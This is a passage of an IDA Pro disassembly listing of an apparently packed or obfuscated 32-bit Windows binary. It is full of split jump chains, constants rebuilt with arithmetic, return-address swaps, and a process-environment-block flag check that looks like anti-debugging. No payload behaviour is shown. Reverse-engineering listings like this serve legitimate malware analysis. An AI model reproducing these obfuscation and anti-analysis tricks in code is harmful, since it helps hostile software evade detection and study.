; [00000001 BYTES: COLLAPSED FUNCTION nullsub_120. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C162


loc_409921:				; CODE XREF: sub_40C162-268Ej
		jmp	loc_40C186
; END OF FUNCTION CHUNK	FOR sub_40C162

; =============== S U B	R O U T	I N E =======================================



sub_409926	proc near		; CODE XREF: sub_4057E6+7p
					; sub_40A58E:loc_407FA3p ...
		push	offset loc_405416
		jmp	nullsub_25
sub_409926	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A526


loc_409930:				; CODE XREF: sub_40A526:loc_40EFA5j
		add	edx, 14h
		mov	ecx, [ebx+edx-8]
		or	ecx, ecx


loc_409939:				; CODE XREF: sub_40C805:loc_40A46Dj
		jz	loc_40E5BE
		call	sub_407D7F
		jnz	loc_40EFA5
		push	offset loc_4099B3
		jmp	loc_40FB9A
; END OF FUNCTION CHUNK	FOR sub_40A526
; ---------------------------------------------------------------------------


loc_409954:				; CODE XREF: _837l4vi2:00409106j
		test	ecx, 0D60CD74Ah
		jmp	loc_40D44B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4072E4


loc_40995F:				; CODE XREF: sub_4072E4:loc_40DF2Cj
		popf
		push	eax


loc_409961:				; CODE XREF: _837l4vi2:loc_4068F6j
		call	sub_408769
		mov	eax, [ebp-80Ch]
		jmp	loc_4054CA
; END OF FUNCTION CHUNK	FOR sub_4072E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406C77


loc_409971:				; CODE XREF: _837l4vi2:0040696Aj
					; sub_406C77:loc_406C78j
		mov	ebp, esp
		push	eax
		mov	[esp+8+var_8], ecx
		push	offset loc_411097
		jmp	loc_407878
; END OF FUNCTION CHUNK	FOR sub_406C77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4103D0


loc_409981:				; CODE XREF: sub_4103D0-A67Ej
		ror	ebx, 15h
		jnp	loc_408047
		add	ebx, 0A4849EFAh
		jmp	loc_4084FE
; END OF FUNCTION CHUNK	FOR sub_4103D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408A93


loc_409995:				; CODE XREF: sub_408A93+7689j
		xor	edi, 90C14324h
		jmp	loc_40EA0A
; END OF FUNCTION CHUNK	FOR sub_408A93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AA4


loc_4099A0:				; CODE XREF: sub_40C1F0:loc_407243j
					; sub_407AA4+35DAj
		call	sub_40CEC1
; END OF FUNCTION CHUNK	FOR sub_407AA4

; =============== S U B	R O U T	I N E =======================================



sub_4099A5	proc near		; CODE XREF: _837l4vi2:0040C522j
					; sub_40DC29+1p

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		mov	[esp-4+arg_0], eax
		push	0FFFFFFFFh
		jmp	loc_40B62C
sub_4099A5	endp

; ---------------------------------------------------------------------------


loc_4099B3:				; DATA XREF: sub_40A526-BDCo
		mov	ecx, [ebx+edx-4]
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_4099B7:				; CODE XREF: sub_40833D-2BEj
		push	offset sub_4055BD
		jmp	loc_40ED2D
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A58E


loc_4099C1:				; CODE XREF: sub_40A58E:loc_40FEBFj
		push	ecx
		push	0D9867E52h
		mov	ecx, offset loc_4099D5
		xchg	ecx, [esp+0Ch+var_C]
		retn
; END OF FUNCTION CHUNK	FOR sub_40A58E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406ADC


loc_4099D0:				; CODE XREF: sub_406ADC+Dj
					; _837l4vi2:0040F860j
		jmp	loc_4065E3
; END OF FUNCTION CHUNK	FOR sub_406ADC
; ---------------------------------------------------------------------------


loc_4099D5:				; DATA XREF: sub_40A58E-BC7o
		sub	ecx, 65E83190h
		jmp	loc_40AE8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409127


loc_4099E0:				; CODE XREF: sub_409127:loc_406596j
		mov	byte ptr [eax+edx], 0
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 100h
		jnz	loc_40D9B0
		pop	ecx
		pop	ebp
		jmp	loc_40B96F
; END OF FUNCTION CHUNK	FOR sub_409127

; =============== S U B	R O U T	I N E =======================================



sub_4099FB	proc near		; CODE XREF: _837l4vi2:0040F155p
		xchg	eax, [esp+0]
		mov	eax, [esp+0]
		push	0AC0F0940h
		pop	eax


loc_409A07:				; CODE XREF: _837l4vi2:loc_40BECAj
		and	eax, 0C3388BC5h
		add	eax, 8038AA92h
		xchg	eax, [esp+0]
		jmp	sub_40E739
sub_4099FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_409A1B	proc near		; CODE XREF: _837l4vi2:0040B36Dj
					; sub_40882B:loc_40CCD1p
		xchg	edi, [esp+0]
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_409A1B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BE1F


loc_409A23:				; CODE XREF: sub_40BE1F+2j
		push	ecx
		push	626938B9h
		jmp	loc_40C858
; END OF FUNCTION CHUNK	FOR sub_40BE1F
; ---------------------------------------------------------------------------
		mov	edi, [esi]
		jmp	loc_407D09
; ---------------------------------------------------------------------------


loc_409A35:				; DATA XREF: sub_40F36D+Fo
		xchg	edi, [esp]
		jmp	sub_409D6B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_152. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_409A3E:				; CODE XREF: _837l4vi2:00405DE7j
		call	nullsub_190
		push	edx
		push	588DEBA4h
		pop	edx
		add	edx, 0A7B3220Bh
		push	offset sub_40E1ED
		jmp	locret_40F4D9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_409A5B:				; CODE XREF: _837l4vi2:0040E38Fj
		jmp	loc_407F37
; ---------------------------------------------------------------------------


loc_409A60:				; CODE XREF: _837l4vi2:0040D230j
		jmp	locret_40CFD9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40600B


loc_409A65:				; CODE XREF: sub_40600B+280Aj
		jmp	loc_408A0C
; END OF FUNCTION CHUNK	FOR sub_40600B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_409A6A:				; CODE XREF: sub_40D735+C08j
		jp	loc_4085E5
		mov	[edx], eax
		cmp	edx, 25C7C852h
		jmp	loc_40CD6D
; END OF FUNCTION CHUNK	FOR sub_40D735
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_112. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_409A7E:				; CODE XREF: sub_40E3C8-5BCEj
		jmp	loc_410DD4
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405033


loc_409A83:				; CODE XREF: sub_405033:loc_4052C7j
		call	sub_406CB3
; END OF FUNCTION CHUNK	FOR sub_405033

; =============== S U B	R O U T	I N E =======================================



sub_409A88	proc near		; CODE XREF: sub_4065B8-C1Ap
					; _837l4vi2:00410723j

; FUNCTION CHUNK AT 0040D0CD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D793 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E18F SIZE 0000000F BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		setz	al
		call	sub_40E7E1
		jmp	loc_40D0CD
sub_409A88	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		rol	edi, 1Dh
		mov	eax, [edi]
		jmp	loc_40D673

; =============== S U B	R O U T	I N E =======================================



sub_409AA3	proc near		; CODE XREF: _837l4vi2:00407A54j
					; sub_40A58E:loc_40C653p

; FUNCTION CHUNK AT 0040B965 SIZE 0000000A BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	eax, 7D0h
		mov	[ebp-8], eax
		push	2
		push	0
		push	0
		jmp	loc_40B965
sub_409AA3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408F1B


loc_409ABA:				; CODE XREF: sub_408F1B:loc_40C0F8j
		xor	dword ptr [esp+0], 0A6F49B14h
		push	esi
		pushf
		push	58365420h
		pop	esi
		jmp	loc_4081D0
; END OF FUNCTION CHUNK	FOR sub_408F1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C162


loc_409ACE:				; CODE XREF: sub_40C162:loc_40B40Dj
		jz	loc_40EAB5
		jmp	loc_409921
; END OF FUNCTION CHUNK	FOR sub_40C162
; ---------------------------------------------------------------------------


loc_409AD9:				; CODE XREF: _837l4vi2:0040DEC1j
		jle	loc_406A17

; =============== S U B	R O U T	I N E =======================================



sub_409ADF	proc near		; CODE XREF: sub_40FE28:loc_40731Dp

; FUNCTION CHUNK AT 0040C63D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040FA93 SIZE 00000004 BYTES

		mov	[esp+0], edi
		pop	edi
		push	59658655h
		xchg	esi, [esp+0]
		mov	edx, esi
		pop	esi
		and	edx, 0E81689A6h
		jmp	loc_40C63D
sub_409ADF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	edx, [ecx]
		shl	edx, 8
		jmp	sub_40B5A9
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_40A7F1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_93. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E236


loc_409B0A:				; CODE XREF: sub_40E236+Fj
		jmp	loc_40772C
; END OF FUNCTION CHUNK	FOR sub_40E236
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_85. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406C3E


loc_409B10:				; CODE XREF: sub_406C3E+7DB4j
		jmp	nullsub_92
; END OF FUNCTION CHUNK	FOR sub_406C3E
; ---------------------------------------------------------------------------
		mov	ds:dword_4109D8, eax
		xor	eax, eax
		push	ebx
		push	95FD8DB1h
		pop	ebx
		add	ebx, 6A437C3Bh
		jmp	loc_408541
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DE68


loc_409B2F:				; CODE XREF: sub_40DE68+12j
		jmp	loc_40DAD8
; END OF FUNCTION CHUNK	FOR sub_40DE68
; ---------------------------------------------------------------------------


loc_409B34:				; CODE XREF: _837l4vi2:0040CD1Cj
		jmp	loc_40795E

; =============== S U B	R O U T	I N E =======================================



sub_409B39	proc near		; CODE XREF: sub_40C5A3:loc_40EF17j
					; _837l4vi2:00410711p

; FUNCTION CHUNK AT 004068B3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407741 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040D8A6 SIZE 00000005 BYTES

		jnz	loc_4068B3
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_40D8A6
sub_409B39	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_409B48:				; CODE XREF: sub_40BF48:loc_409906j
		xor	edx, 0C0058440h
		popf
		xchg	edx, [esp+18h+var_18]
		push	0
		jmp	loc_40FE44
; END OF FUNCTION CHUNK	FOR sub_40BF48
; ---------------------------------------------------------------------------
		sub	esi, 0FF53DB02h
		jmp	sub_40CC6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_409B64:				; CODE XREF: sub_409D6B-2348j
					; DATA XREF: sub_40DE7F+Eo
		add	eax, 1257F854h
		and	edx, eax
		pop	eax
		xor	[esi], edx
		mov	eax, 80000000h
		call	sub_406C7D


loc_409B79:				; CODE XREF: sub_40AF8A+565Bj
		jmp	loc_40E158
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------


loc_409B7E:				; CODE XREF: _837l4vi2:0040F7A7j
		jmp	loc_40B7E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D7F5


loc_409B83:				; CODE XREF: sub_40DE47-4B62j
					; sub_40D7F5+2BA2j
		jmp	loc_40B308
; END OF FUNCTION CHUNK	FOR sub_40D7F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_409B88:				; CODE XREF: sub_40833D:loc_405363j
		add	ebx, 204990B1h
		call	sub_40D363


loc_409B93:				; CODE XREF: _837l4vi2:0040D318j
		jmp	loc_40AD81
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------


loc_409B98:				; CODE XREF: _837l4vi2:0040BF97j
		jmp	loc_40D834

; =============== S U B	R O U T	I N E =======================================



sub_409B9D	proc near		; CODE XREF: _837l4vi2:00409CDDj
					; sub_40EC3B-B6Bp
		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
sub_409B9D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F1EC


loc_409BA8:				; CODE XREF: sub_40F1EC-9715j
		jmp	loc_40C425
; END OF FUNCTION CHUNK	FOR sub_40F1EC

; =============== S U B	R O U T	I N E =======================================



sub_409BAD	proc near		; CODE XREF: sub_40EC3B-B70p
		mov	dword ptr [eax], 0
		retn
sub_409BAD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B4E8


loc_409BB4:				; CODE XREF: sub_40B4E8+1j
		jmp	loc_40E6D9
; END OF FUNCTION CHUNK	FOR sub_40B4E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406ADC


loc_409BB9:				; CODE XREF: sub_406ADC+3F63j
					; _837l4vi2:00410A2Ej
		jmp	loc_40FD91
; END OF FUNCTION CHUNK	FOR sub_406ADC
; ---------------------------------------------------------------------------


loc_409BBE:				; DATA XREF: sub_407A63+E7Eo
		push	ecx
		mov	esp, ebp
		push	offset sub_4108F9
		jmp	loc_40F119
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4057E6


loc_409BCB:				; CODE XREF: sub_4057E6:loc_40F3EEj
		push	ecx
		xchg	eax, ecx
		push	edi
		push	8842F073h
		mov	edi, offset sub_405D8B
; END OF FUNCTION CHUNK	FOR sub_4057E6
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_409BD9:				; CODE XREF: sub_40E3C8:loc_40CA40j
		xchg	edi, [esp+0Ch+var_C]
		retn
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B088


loc_409BDD:				; CODE XREF: sub_40B088-135Bj
		jmp	sub_40BF48
; END OF FUNCTION CHUNK	FOR sub_40B088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D263


loc_409BE2:				; CODE XREF: sub_40D263-51A2j
		xor	ebx, 0B16F2F14h
		jmp	loc_40DAB8
; END OF FUNCTION CHUNK	FOR sub_40D263
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40610A


loc_409BED:				; CODE XREF: sub_40610A+Cj
		call	sub_40DFF5
		or	eax, eax
		jnz	locret_409BFF


loc_409BFA:				; CODE XREF: sub_40610A+6j
		call	sub_409C00

locret_409BFF:				; CODE XREF: sub_40610A+3AEAj
		retn
; END OF FUNCTION CHUNK	FOR sub_40610A

; =============== S U B	R O U T	I N E =======================================



sub_409C00	proc near		; CODE XREF: sub_40610A:loc_409BFAp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00409E33 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EB20 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0040F319 SIZE 00000004 BYTES

		push	ebx
		jmp	loc_40EB20
sub_409C00	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_207. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_409C07:				; CODE XREF: _837l4vi2:0040879Aj
		shl	esi, 17h
		cdq


loc_409C0B:				; CODE XREF: _837l4vi2:loc_407BC3j
		call	sub_4108C8
		test	al, al
		jz	loc_410601
		jmp	loc_40D3C4
; ---------------------------------------------------------------------------
		call	sub_40D712
		push	0A0B63BDh
		pop	edx
		or	edx, 5AAC3F5Eh
		sub	edx, 125FF025h
		xor	edx, 95119FB5h
		call	sub_40E739
		push	eax
		jmp	loc_40BDB5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_138. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D169


loc_409C46:				; CODE XREF: sub_40D169+17j
		jmp	loc_408BD9
; END OF FUNCTION CHUNK	FOR sub_40D169
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A7F9


loc_409C4B:				; CODE XREF: sub_40A7F9+4CAEj
					; DATA XREF: _837l4vi2:004107EBo
		call	sub_40E739
		push	eax
		rol	eax, 8
		push	esi
		push	593DA10Fh
		jmp	loc_405D79
; END OF FUNCTION CHUNK	FOR sub_40A7F9
; ---------------------------------------------------------------------------


loc_409C5F:				; CODE XREF: _837l4vi2:0040E835j
		push	offset loc_41029C


loc_409C64:				; CODE XREF: _837l4vi2:loc_40AB0Fj
		jmp	locret_4057B0
; ---------------------------------------------------------------------------


loc_409C69:				; CODE XREF: _837l4vi2:loc_40E987j
		rol	eax, 1Ch
		sbb	eax, 0CD307817h
		push	ebx
		push	12A52B2Ch
		pop	ebx
		sub	ebx, 29245279h
		jmp	loc_410FBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E69B


loc_409C84:				; CODE XREF: sub_40E69B+1Aj
		pop	ecx
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40E69B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405FB4


loc_409C88:				; CODE XREF: sub_405FB4+1F2Fj
					; sub_40D735-39F1j ...
		jmp	loc_405E89
; END OF FUNCTION CHUNK	FOR sub_405FB4

; =============== S U B	R O U T	I N E =======================================



sub_409C8D	proc near		; DATA XREF: sub_40E69B+Eo
		xor	eax, eax


loc_409C8F:				; CODE XREF: sub_4050A8:loc_40BF28j
		pop	large dword ptr	fs:0
		add	esp, 4


loc_409C99:				; CODE XREF: sub_408F1B+1FCj
		jmp	nullsub_82
sub_409C8D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ds:dword_406520, eax
		xor	eax, eax
		mov	[ebp-4], eax
; START	OF FUNCTION CHUNK FOR sub_40E6CD


loc_409CA8:				; CODE XREF: sub_40E6CD-5D2Bj
					; sub_40E6CD+E52j
		jno	loc_410C07
		mov	eax, ds:dword_40AB9C
		mov	edx, [ebp-4]
		jmp	loc_406B4D
; END OF FUNCTION CHUNK	FOR sub_40E6CD

; =============== S U B	R O U T	I N E =======================================



sub_409CBB	proc near		; CODE XREF: sub_407FEA+1214p

; FUNCTION CHUNK AT 00410CAC SIZE 00000016 BYTES

		mov	[esp+0], eax
		push	100h
		push	35CEFE44h
		pop	eax
		jmp	loc_410CAC
sub_409CBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_409CCE	proc near		; DATA XREF: sub_40DC8C-62D7o

; FUNCTION CHUNK AT 0040858E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040950B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040C53B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E972 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040F714 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040FB23 SIZE 0000001B BYTES

		or	eax, eax
		jnz	loc_40858E
		jmp	loc_40E972
sub_409CCE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		or	eax, ecx
		jmp	sub_409B9D
; ---------------------------------------------------------------------------
		xchg	edi, edx
		jmp	sub_408A93

; =============== S U B	R O U T	I N E =======================================



sub_409CE9	proc near		; CODE XREF: sub_407E61:loc_410EB8p
		xchg	ecx, [esp+0]
		mov	ecx, [esp+0]
		mov	esp, ebp
		push	offset loc_40FE1B
		jmp	nullsub_26
sub_409CE9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410BD3


loc_409CFB:				; CODE XREF: sub_410BD3:loc_40CDD4j
		push	62FF223Ah
		pop	edx
		add	edx, 8FB977DFh
		call	sub_40E739
		push	edx
		jmp	loc_40AB78
; END OF FUNCTION CHUNK	FOR sub_410BD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41087A


loc_409D12:				; CODE XREF: sub_41087A-9177j
		or	edx, ebp
		ror	ebx, 10h
		and	esi, eax
		jmp	loc_40F8CB
; END OF FUNCTION CHUNK	FOR sub_41087A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B088


loc_409D1E:				; CODE XREF: sub_40B088-48B3j
		ja	loc_40B3D7


loc_409D24:				; CODE XREF: sub_4065B8:loc_40FB4Ej
		add	ecx, 0F07F42EAh
		xchg	ecx, [esp+0]
		jmp	loc_409BDD
; END OF FUNCTION CHUNK	FOR sub_40B088

; =============== S U B	R O U T	I N E =======================================



sub_409D32	proc near		; DATA XREF: sub_40800E-265o

; FUNCTION CHUNK AT 00406466 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A077 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040A8A4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040F2B3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040FC3E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00410B79 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00410D5D SIZE 00000013 BYTES

		mov	edx, [ebp-20h]
		mov	[edx], al
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		jmp	loc_40F2B3
sub_409D32	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_409D42:				; CODE XREF: sub_40D735-7B04j
		xchg	ebp, [edi]
		jbe	loc_409C88
		xor	eax, 0EC6AA1FAh
		adc	edi, edx
		jmp	loc_405D9D
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F5BE


loc_409D57:				; CODE XREF: sub_40F5BE-177Dj
		pop	eax
		xor	eax, 9F143DC9h
		add	eax, ebp
		add	eax, 9BDDA006h
		jmp	loc_40508D
; END OF FUNCTION CHUNK	FOR sub_40F5BE

; =============== S U B	R O U T	I N E =======================================



sub_409D6B	proc near		; CODE XREF: sub_4104E3:loc_406132p
					; sub_40DF94:loc_4076C4p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00405400 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00405C42 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00405F11 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0040633B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00406D2F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040756B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00407829 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407A16 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00407AE8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00407B21 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004084D4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408712 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409545 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00409B64 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040A9D2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040AF11 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040AF98 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040B569 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040B714 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0040B826 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040B920 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C70B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040CDCA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040D0F5 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0040DCD5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040E158 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0040E8F2 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040ECCD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040F07B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040FE73 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00410049 SIZE 0000002A BYTES

		jo	sub_408567
		push	ebp
		call	sub_4061A1
		rol	ebp, 5
		jmp	loc_407B21
sub_409D6B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_409D80	proc near		; CODE XREF: sub_408A93-3040p
					; sub_4078C8+5p ...

; FUNCTION CHUNK AT 0040DA62 SIZE 00000023 BYTES

		jb	sub_405033
		push	ebp
		mov	ebp, esp


loc_409D89:				; CODE XREF: sub_40855B:loc_4052CCj
		push	ecx
		jmp	loc_40DA62
sub_409D80	endp

; ---------------------------------------------------------------------------
		sbb	ecx, 1DF42F7Eh
		jmp	loc_409EE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E294


loc_409D9A:				; CODE XREF: sub_40E294:loc_40A866j
		jz	loc_406C39
		jmp	loc_40DC7E
; END OF FUNCTION CHUNK	FOR sub_40E294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4087FF


loc_409DA5:				; CODE XREF: sub_4087FF+8j
		xor	eax, 159955FAh
		cmp	eax, 712F9B04h
		jmp	loc_40535E
; END OF FUNCTION CHUNK	FOR sub_4087FF
; ---------------------------------------------------------------------------


loc_409DB6:				; CODE XREF: _837l4vi2:loc_40F166j
		mov	eax, large fs:30h
		add	eax, 20h
		mov	eax, [eax]
		test	eax, 1
		jz	loc_40CA96
		jmp	loc_4071BC
; ---------------------------------------------------------------------------


loc_409DD2:				; CODE XREF: _837l4vi2:0040E96Cj
		jle	nullsub_130

; =============== S U B	R O U T	I N E =======================================



sub_409DD8	proc near		; CODE XREF: sub_410E72-6896p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00408FC9 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0040F32F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040FC7B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410BF0 SIZE 0000000D BYTES

		mov	[esp+0], ecx
		pop	ecx
		call	sub_409D6B
		jmp	loc_40FC7B
sub_409DD8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_409DE6:				; CODE XREF: sub_40D735-726Ej
		add	ebp, 0E3F6A381h
		sbb	ecx, 80FA15B6h


loc_409DF2:				; CODE XREF: sub_40D735:loc_4104D2j
		push	0DB2B2B12h
		pop	eax
		add	eax, 93ED4FBAh
		jmp	loc_408426
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4072E4


loc_409E03:				; CODE XREF: sub_4072E4-1E0Cj
		mov	[esp+0Ch+var_C], esi
		pushf
		push	71A97F9Eh
		pop	esi
		xor	esi, 71A97F9Ch
		jmp	loc_40D95D
; END OF FUNCTION CHUNK	FOR sub_4072E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_409E18:				; CODE XREF: sub_40926F+2015j
		add	ecx, 0DF3DD3C9h
		popf
		xchg	ecx, [esp+4+var_4]
		jmp	sub_40A7F9
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------
		and	esi, 7280C812h
		jmp	loc_40D9E4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_196. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409C00


loc_409E33:				; CODE XREF: sub_409C00+4F33j
		jmp	loc_40F319
; END OF FUNCTION CHUNK	FOR sub_409C00
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_177. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405D62


loc_409E39:				; CODE XREF: sub_405D62+Aj
		jmp	loc_407F8D
; END OF FUNCTION CHUNK	FOR sub_405D62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EEC8


loc_409E3E:				; CODE XREF: sub_40EEC8+9j
		jle	nullsub_30
; END OF FUNCTION CHUNK	FOR sub_40EEC8

; =============== S U B	R O U T	I N E =======================================



sub_409E44	proc near		; CODE XREF: sub_40984E+54DAp

; FUNCTION CHUNK AT 00406778 SIZE 00000007 BYTES
